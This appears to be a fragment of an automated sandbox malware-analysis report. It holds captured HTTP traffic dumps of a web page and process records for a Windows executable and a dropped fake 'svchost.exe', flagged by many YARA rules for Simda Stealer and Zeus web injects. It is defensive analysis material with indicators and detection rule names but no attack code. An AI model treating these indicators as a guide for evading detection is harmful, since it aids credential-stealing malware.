                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="46.3",amp_style_sanitizer;dur="29.7",amp_tag_and_attribute_sanitizer;dur="12.7",amp_optimizer;dur="20.2"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CL25vgbrS1rDasUyyBvfyQWzV%2BTO%2FQQ%2FISh0hvpDBDGdS0CSHe%2FM2VS0guLBJEqw9bbEqFXYjHdFVLPxyLTuZMGe8fxdlqJ0E6OK%2FsPscs8RbyonIhkJBxfQCNHSA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f9e9f9b5e76-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1359&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2148367&cwnd=251&unsent_bytes=0&cid=9e17aeff35ad257e&ts=1418&x=0"
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC277INData Raw: 37 63 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                                    Data Ascii: 7c1a<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74
                                                                                                                                                                                                                    Data Ascii: harset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78
                                                                                                                                                                                                                    Data Ascii: olling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66
                                                                                                                                                                                                                    Data Ascii: h:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70
                                                                                                                                                                                                                    Data Ascii: mphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;p
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f
                                                                                                                                                                                                                    Data Ascii: play:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;to
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1369INData Raw: 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d
                                                                                                                                                                                                                    Data Ascii: lt:not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-am


                                                                                                                                                                                                                    Statistics

                                                                                                                                                                                                                    CPU Usage

                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                    Memory Usage

                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                                                                    Behavior

                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                    System Behavior

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:0
                                                                                                                                                                                                                    Start time:12:48:15
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\1fWgBXPgiT.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Users\user\Desktop\1fWgBXPgiT.exe"
                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                    File size:211'463 bytes
                                                                                                                                                                                                                    MD5 hash:6EC51EE749CDEAA3D4DB28CDD17DE9CE
                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:1
                                                                                                                                                                                                                    Start time:12:48:16
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Windows\apppatch\svchost.exe"
                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                    File size:211'463 bytes
                                                                                                                                                                                                                    MD5 hash:D13C71C0C7B8647C7F86C6F353BEF9BE
                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2196074287.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2163418522.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2198762933.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2142505110.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2202181854.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2203704922.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2109272313.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2196660787.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2034042141.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2096064167.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2206387159.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2066773815.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2118413346.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2205694680.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2098616103.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2203529589.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.1675428323.0000000002500000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2199519637.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2194412887.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2198552223.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2204859689.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2198240190.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2086777049.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2203265962.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2189144931.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2204400757.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2198028045.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2131653649.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2205934385.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2204203974.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2192466497.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2180206209.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2199111278.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2195480127.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2199319017.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2205455132.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2206763165.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2196471946.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2190528713.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2202379688.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2042430310.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2171131947.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2030438405.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2199706571.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2193900284.0000000002700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000001.00000003.1673194303.0000000000884000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.1673194303.0000000000884000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2206176282.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2196280785.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2152384775.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2195861902.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2202558433.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000001.00000003.2197820580.000000000D200000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
